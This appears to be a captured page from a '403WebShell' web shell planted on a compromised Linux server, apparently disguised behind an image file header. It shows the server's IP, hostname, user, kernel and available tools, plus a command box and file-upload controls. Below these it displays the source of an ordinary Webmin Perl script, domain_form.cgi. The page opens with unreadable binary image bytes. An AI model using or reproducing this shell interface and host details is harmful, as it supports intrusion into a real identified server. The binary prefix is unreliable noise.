....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 217.79.180.202  /  Your IP : 216.73.216.172
Web Server : Apache
System : Linux vps2460721.fastwebserver.de 5.15.0-122-generic #132-Ubuntu SMP Thu Aug 29 13:45:52 UTC 2024 x86_64
User : tecnoelite ( 1001)
PHP Version : 8.1.2-1ubuntu2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/domain_form.cgi
#!/usr/bin/perl
# domain_form.cgi
# Display a form for setting up a new virtual domain

require './virtual-server-lib.pl';
&ReadParse();

if ($in{'import'}) {
	# Redirect to the import form
	&redirect("import_form.cgi");
	return;
	}
elsif ($in{'migrate'}) {
	# Redirect to the migration form
	&redirect("migrate_form.cgi");
	return;
	}
elsif ($in{'batch'}) {
	# Redirect to the batch creation
	&redirect("mass_create_form.cgi");
	return;
	}
elsif ($in{'delete'}) {
	# Redirect to the mass server deletion form
	@d = split(/\0/, $in{'d'});
	&redirect("pro/mass_delete_domains.cgi?".join("&", map { "d=$_" } @d));
	return;
	}
elsif ($in{'mass'}) {
	# Redirect to the mass server update form
	@d = split(/\0/, $in{'d'});
	&redirect("pro/mass_domains_form.cgi?".join("&", map { "d=$_" } @d));
	return;
	}
elsif ($in{'disable'}) {
	# Redirect to mass disable form
	@d = split(/\0/, $in{'d'});
	&redirect("pro/mass_disable.cgi?".join("&", map { "d=$_" } @d));
	return;
	}
elsif ($in{'enable'}) {
	# Redirect to mass enable form
	@d = split(/\0/, $in{'d'});
	&redirect("pro/mass_enable.cgi?".join("&", map { "d=$_" } @d));
	return;
	}


# Can this user even create servers?
&can_create_master_servers() || &can_create_sub_servers() ||
	&error($text{'form_ecannot'});

# If we are in generic mode, work out all possible modes for the current user
if ($in{'generic'}) {
	$gparent = &get_domain($in{'gparent'}) if ($in{'gparent'});
	($tdleft, $tdreason, $tdmax) = &count_domains("topdoms");
	if (&can_create_master_servers()) {
		# Top-level server
		if ($tdleft) {
			push(@generics, [ $text{'form_generic_master'}, '' ]);
			}
		}
	if (&can_create_sub_servers() && $gparent) {
		# Sub-server under parent's user
		($rdleft, $rdreason, $rdmax) = &count_domains("realdoms");
		if ($rdleft) {
			push(@generics, [ $text{'form_generic_subserver'},
				  'add1=1&parentuser1='.$gparent->{'user'} ]);
			}
		($adleft, $adreason, $admax) = &count_domains("aliasdoms");
		if (!$gparent->{'alias'} && $adleft) {
			# Alias domain
			push(@generics, [ &text('form_generic_alias',
						&show_domain_name($gparent)),
					  'to='.$gparent->{'id'} ]);

			# Alias domain with mail
			push(@generics, [ &text('form_generic_aliasmail',
						&show_domain_name($gparent)),
					  'to='.$gparent->{'id'}.
					  '&aliasmail=1' ]);
			}
		if (!$gparent->{'alias'} && !$gparent->{'subdom'} &&
		    &can_create_sub_domains() && $rdleft) {
			# Sub-domain
			push(@generics, [ &text('form_generic_subdom',
						&show_domain_name($gparent)),
					  'add1=1&parentuser1='.
					  $gparent->{'user'}.'&subdom='.
					  $gparent->{'id'} ]);
			}
		}
	if (!defined($in{'genericmode'})) {
		$in{'genericmode'} = 0;
		}
	@generics || &error($text{'form_enomore'});

	# Force inputs to match selected generic type
	$generic = $generics[$in{'genericmode'}];
	%in = ( %in, map { split(/=/, $_, 2) } split(/\&/, $generic->[1]) );
	}

# Get parent settings
if ($in{'to'}) {
	# Creating an alias domain
	$aliasdom = &get_domain($in{'to'});
	$parentdom = $aliasdom->{'parent'} ?
		&get_domain($aliasdom->{'parent'}) : $aliasdom;
	$parentuser = $parentdom->{'user'};
	}
elsif (!&can_create_master_servers()) {
	# This user can only create a sub-server
	if ($access{'admin'}) {
		$parentdom = &get_domain($access{'admin'});
		$parentuser = $parentdom->{'user'};
		}
	else {
		$parentuser = $remote_user;
		}
	}
elsif ($in{'parentuser1'} || $in{'parentuser2'}) {
	# Creating sub-server explicitly
	$parentuser = $in{'add1'} ? $in{'parentuser1'} : $in{'parentuser2'};
	}
if ($parentuser && !$parentdom) {
	$parentdom = &get_domain_by("user", $parentuser, "parent", "");
	$parentdom || &error(&text('form_eparent', $parentuser));
	}
if ($in{'subdom'}) {
	# Creating a sub-domain
	$subdom = &get_domain($in{'subdom'});
	$subdom || &error(&text('form_esubdom', $in{'subdom'}));
	}

&ui_print_header(undef, $aliasdom ? $text{'form_title3'} :
			$subdom ? $text{'form_title4'} :
			$parentdom ? $text{'form_title2'} :
				     $text{'form_title'}, "",
			$aliasdom ? "create_alias" :
			$subdom ? "create_subdom" :
			$parentdom ? "create_subserver" :
				  "create_form");
# Show user friendly info
if (!$tdleft && $tdreason == 3) {
	print &ui_alert_box(
		&text('setup_emax', $tdmax, $virtualmin_account_subscriptions),
		'warn', undef, undef, '');
	}
# Show generic mode selector
if ($in{'generic'} && @generics > 1) {
	print "<b>$text{'form_genericmode'}</b>\n";
	@links = ( );
	for($i=0; $i<@generics; $i++) {
		$g = $generics[$i];
		if ($i == $in{'genericmode'}) {
			push(@links, $g->[0]);
			}
		else {
			push(@links, "<a href='domain_form.cgi?generic=1&".
				     "genericmode=$i&gparent=$in{'gparent'}&".
				     "$g->[1]'>$g->[0]</a>");
			}
		}
	print &ui_links_row(\@links),"<p>\n";
	}

# Form header
@tds = ( "width=30%" );
print &ui_form_start("domain_setup.cgi", "post");
print &ui_hidden("parentuser", $parentuser),"\n";
print &ui_hidden("to", $in{'to'}),"\n";
print &ui_hidden("aliasmail", $in{'aliasmail'}),"\n";
print &ui_hidden("subdom", $in{'subdom'}),"\n";
print &ui_hidden_table_start($text{'form_header'}, "width=100%", 2,
			     "basic", 1);

# Domain name
if ($subdom) {
	# Under top-level domain
	print &ui_table_row(&hlink($text{'form_domain'}, "domainname"),
		&vui_noauto_textbox("dom", undef, 20).".$subdom->{'dom'}",
		undef, \@tds);
	}
else {
	# Full domain name
	local $force = $access{'forceunder'} && $parentdom ?
			".$parentdom->{'dom'}" :
		       $access{'subdom'} ? ".$access{'subdom'}" : undef;
	print &ui_table_row(&hlink($text{'form_domain'}, "domainname"),
	      &vui_noauto_textbox("dom", $force, 50, 0, undef,
				  "onBlur='domain_change(this)'"),
	      undef, \@tds);

	# Javascript to append domain name if needed
	print "<script>\n";
	print "function domain_change(field)\n";
	print "{\n";
	if ($parentdom && !$aliasdom) {
		print "if (field.value.indexOf('.') < 0) {\n";
		print "    field.value += '.".$parentdom->{'dom'}."';\n";
		print "    }\n";
		}
	print "}\n";
	print "</script>\n";
	}

# Description / owner
print &ui_table_row(&hlink($text{'form_owner'}, "ownersname"),
		    &vui_noauto_textbox("owner", undef, 50),
		    undef, \@tds);

if (!$parentuser) {
	# Password
	print &ui_table_row(&hlink($text{'form_pass'}, "password"),
		&new_password_input("vpass"),
		undef, \@tds);

	# SSH public key for Unix user
	print &ui_table_row(&hlink($text{'form_sshkey'}, "sshkey"),
		&ui_radio("sshkey_mode", 0,
			  [ [ 0, $text{'form_sshkey0'} ],
			    [ 1, $text{'form_sshkey1'} ],
			    [ 2, $text{'form_sshkey2'} ] ])."<br>\n".
		&ui_textarea("sshkey", undef, 3, 60), undef, \@tds);
	}

# Generate Javascript for template change
@availtmpls = &list_available_templates($parentdom, $aliasdom);
if ($aliasdom || $parentdom) {
	# Alias and sub-servers should inherit parent template, if possible
	$deftmplid = $aliasdom ? $aliasdom->{'template'}
			       : $parentdom->{'template'};
	($deftmpl) = grep { $_->{'id'} == $deftmplid } @availtmpls;
	}
if (!$deftmpl) {
	$deftmplid = &get_init_template($parentdom);
	($deftmpl) = grep { $_->{'id'} == $deftmplid } @availtmpls;
	}
$deftmpl ||= $availtmpls[0];
$js = "<script>\n";
$js .= "function select_template(num)\n";
$js .= "{\n";
$js .= "var domain_form_target = document.querySelectorAll('form[action*=\"domain_setup.cgi\"]');\n";
foreach $t (@availtmpls) {
	local $tmpl = &get_template($t->{'id'});
	if (!$parentdom && &can_choose_ugroup()) {
		# Set group for unix user
		$js .= "if (num == $tmpl->{'id'}) {\n";
		$num = $tmpl->{'ugroup'} eq "none" ? 0 : 1;
		$val = $tmpl->{'ugroup'} eq "none" ? "" : $tmpl->{'ugroup'};
		$js .= "    domain_form_target[0].group_def[$num].checked = true;\n";
		$js .= "    domain_form_target[0].group.value = \"$val\";\n";
		$js .= "    }\n";
		}
	}
$js .= "}\n";
$js .= "</script>\n";
print $js;

# Work out which features are enabled by default
@dom_features = $aliasdom ? @opt_alias_features :
		$subdom ? @opt_subdom_features : @opt_features;
%plugins_inactive = map { $_, 1 } @plugins_inactive;
if ($config{'plan_auto'}) {
	@def_features = grep { $config{$_} == 1 || $config{$_} == 3 }
			     @dom_features;
	@fplugins = &list_feature_plugins();
	push(@def_features, grep { !$plugins_inactive{$_} } @fplugins);
	}

# Generate Javascript for plan change
@availplans = sort { $a->{'name'} cmp $b->{'name'} } &list_available_plans();
$defplan = &get_default_plan();
$js = "<script>\n";
$js .= "function select_plan(num)\n";
$js .= "{\n";
$js .= "var domain_form_target = document.querySelectorAll('form[action*=\"domain\"][action*=\".cgi\"]');\n";
foreach $plan (@availplans) {
	$js .= "if (num == $plan->{'id'}) {\n";
	if (!$config{'template_auto'}) {
		# Limits are only set if the fields exists

		# Set quotas
		$js .= &quota_javascript("quota", $plan->{'quota'}, "home", 1);
		$js .= &quota_javascript("uquota", $plan->{'uquota'}, "home",1);

		# Set limits
		$js .= &quota_javascript("mailboxlimit",$plan->{'mailboxlimit'},
					 "none", 1);
		$js .= &quota_javascript("aliaslimit", $plan->{'aliaslimit'},
					 "none", 1);
		$js .= &quota_javascript("dbslimit", $plan->{'dbslimit'},
					 "none", 1);
		if ($config{'bw_active'}) {
			$js .= &quota_javascript("bwlimit", $plan->{'bwlimit'},
						 "bw", 1);
			}
		$num = $plan->{'domslimit'} eq "" ? 1 :
		       $plan->{'domslimit'} eq "0" ? 0 : 2;
		$val = $num == 2 ? $plan->{'domslimit'} : "";
		$js .= "    var f = domain_form_target[0];\n";
		$js .= "    f.domslimit_def[$num].checked = true;\n";
		$js .= "    f.domslimit.value = \"$val\";\n";

		# Set no database name
		$js .= "    f.nodbname[".int($plan->{'nodbname'}).
		       "].checked = true;\n";
		}

	# Set features if configured
	if ($config{'plan_auto'}) {
		local @fl = $plan->{'featurelimits'} ?
				split(/\s+/, $plan->{'featurelimits'}) :
				@def_features;
		foreach $f (@dom_features, @fplugins) {
			$js .= "    if (domain_form_target[0]['$f']) {\n";
			$js .= "        domain_form_target[0]['$f'].checked = ".
			       (&indexof($f, @fl) >= 0 ? 1 : 0).";\n";
			$js .= "    }\n";
			}
		}
	$js .= "    }\n";
	}
$js .= "}\n";
$js .= "</script>\n";
print $js;

# Show template selection field
foreach $t (&list_available_templates($parentdom, $aliasdom)) {
	push(@opts, [ $t->{'id'}, $t->{'name'} ]);
	push(@cantmpls, $t);
	}
print &ui_table_row(&hlink($text{'form_template'},"template"),
	&ui_select("template", $deftmpl->{'id'}, \@opts, 1, 0,
		   0, 0, $config{'template_auto'} ? "" :
		"onChange='select_template(options[selectedIndex].value)'"),
	undef, \@tds);

# Show plan selection field, for top-level domains
if (!$parentdom) {
	foreach $p (sort { $a->{'name'} cmp $b->{'name'} }
			 &list_available_plans()) {
		push(@popts, [ $p->{'id'}, &html_escape($p->{'name'}) ]);
		}
	print &ui_table_row(&hlink($text{'form_plan'}, "plan"),
		&ui_select("plan", $defplan->{'id'}, \@popts, 1, 0, 0, 0,
			"onChange='select_plan(options[selectedIndex].value)'"),
		undef, \@tds);
	}

if ($aliasdom) {
	# Show destination of alias
	print &ui_table_row(&hlink($text{'form_aliasdom'}, "aliasdom"),
		"<a href='edit_domain.cgi?dom=$parentdom->{'id'}'>".
		"$aliasdom->{'dom'}</a>",
		undef, \@tds);
	}
elsif ($parentdom) {
	# Show parent domain
	print &ui_table_row(&hlink($text{'form_parentdom'}, "parentdom"),
		"<a href='edit_domain.cgi?dom=$parentdom->{'id'}'>".
		"$parentdom->{'dom'}</a> (<tt>$parentuser</tt>)",
		undef, \@tds);
	}

if (!$parentuser) {
	# Unix username
	print &ui_table_row(&hlink($text{'form_user'}, "unixusername"),
		&ui_opt_textbox("vuser", undef, 15,
				$text{'form_auto'}, $text{'form_nwuser'}),
		undef, \@tds);
	}

if (!$parentuser && $config{'force_email'}) {
	# Contact email address (if manadatory)
	print &ui_table_row(&hlink($text{'form_email'}, "ownersemail"),
		&ui_textbox("email", $config{'contact_email'}, 40),
		undef, \@tds);
	}

print &ui_hidden_table_end("basic");

# Start of advanced section
$has_advanced = $aliasdom ? 0 : 1;
if ($has_advanced) {
	print &ui_hidden_table_start($text{'form_advanced'}, "width=100%", 2,
				     "advanced", 0);
	}

# These settings are not needed for a sub-domain, as they come from the owner
if (!$parentuser) {
	# Contact email address (if optional)
	if (!$config{'force_email'}) {
		print &ui_table_row(&hlink($text{'form_email'}, "ownersemail"),
			&ui_opt_textbox("email", $config{'contact_email'}, 30,
					$text{'form_email_def'},
					$text{'form_email_set'}),
			undef, \@tds);
		}

	# Mail group name
	print &ui_table_row(&hlink($text{'form_mgroup'}, "mailgroupname"),
		&ui_opt_textbox("mgroup", undef, 15,
				$text{'form_auto'}, $text{'form_nwgroup'}),
		undef, \@tds);

	if (&can_choose_ugroup()) {
		# Group for Unix user
		local $ug = $deftmpl->{'ugroup'};
		$ug = "" if ($ug eq "none");
		print &ui_table_row(&hlink($text{'form_group'},"unixgroupname"),
			&ui_opt_textbox("group", $ug, 15,
					$text{'form_crgroup'},
					$text{'form_exgroup'}).
			&group_chooser_button("group"),
			undef, \@tds);
		}
	}

if (!$aliasdom) {
	# Show input for mail username prefix
	print &ui_table_row(&hlink($text{'form_prefix'}, "prefixname"),
		&ui_opt_textbox("prefix", undef, 15,
				$text{'form_auto'}),
		undef, \@tds);
	}
else {
	print &ui_hidden("prefix_def", 1),"\n";
	}

if (!$aliasdom && &database_feature() && &can_edit_databases() && !$subdom) {
	# Show database name field, iff this is not an alias or sub domain
	print &ui_table_row(&hlink($text{'form_dbname'},"dbname"),
		&ui_opt_textbox("db", undef, 15,
				$text{'form_auto'}),
		undef, \@tds);
	}

# Show reseller selection field
if (&can_edit_templates() && defined(&list_resellers) && !$parentdom) {
	@resels = &list_resellers();
	if (@resels) {
		 print &ui_table_row(&hlink($text{'form_reseller'},"dreseller"),
			&ui_select("reseller", undef,
				[ [ '', $text{'form_noreseller'} ],
				  map { $_->{'name'} } @resels ]));
		}
	}

# Show remote MySQL field
if (&can_edit_templates() && $config{'mysql'} && !$aliasdom && !$parentdom) {
	my @mymods = grep { !$_->{'config'}->{'virtualmin_provision'} }
			  &list_remote_mysql_modules();
	if (@mymods > 1) {
		print &ui_table_row(&hlink($text{'form_rmysql'}, "rmysql"),
		   &ui_select("rmysql",
			&get_default_mysql_module(),
			[ map { [ $_->{'minfo'}->{'dir'},
				  $_->{'desc'} ] } @mymods ]));
		}
	}

if ($has_advanced) {
	print &ui_hidden_table_end("advanced");
	}

# Show hidden section for limits
if (!$parentuser && !$config{'template_auto'}) {
	print &ui_hidden_table_start($text{'form_limits'}, "width=100%", 2,
				     "limits", 0);
	}

# Only display quota inputs if enabled, and if not creating a subdomain
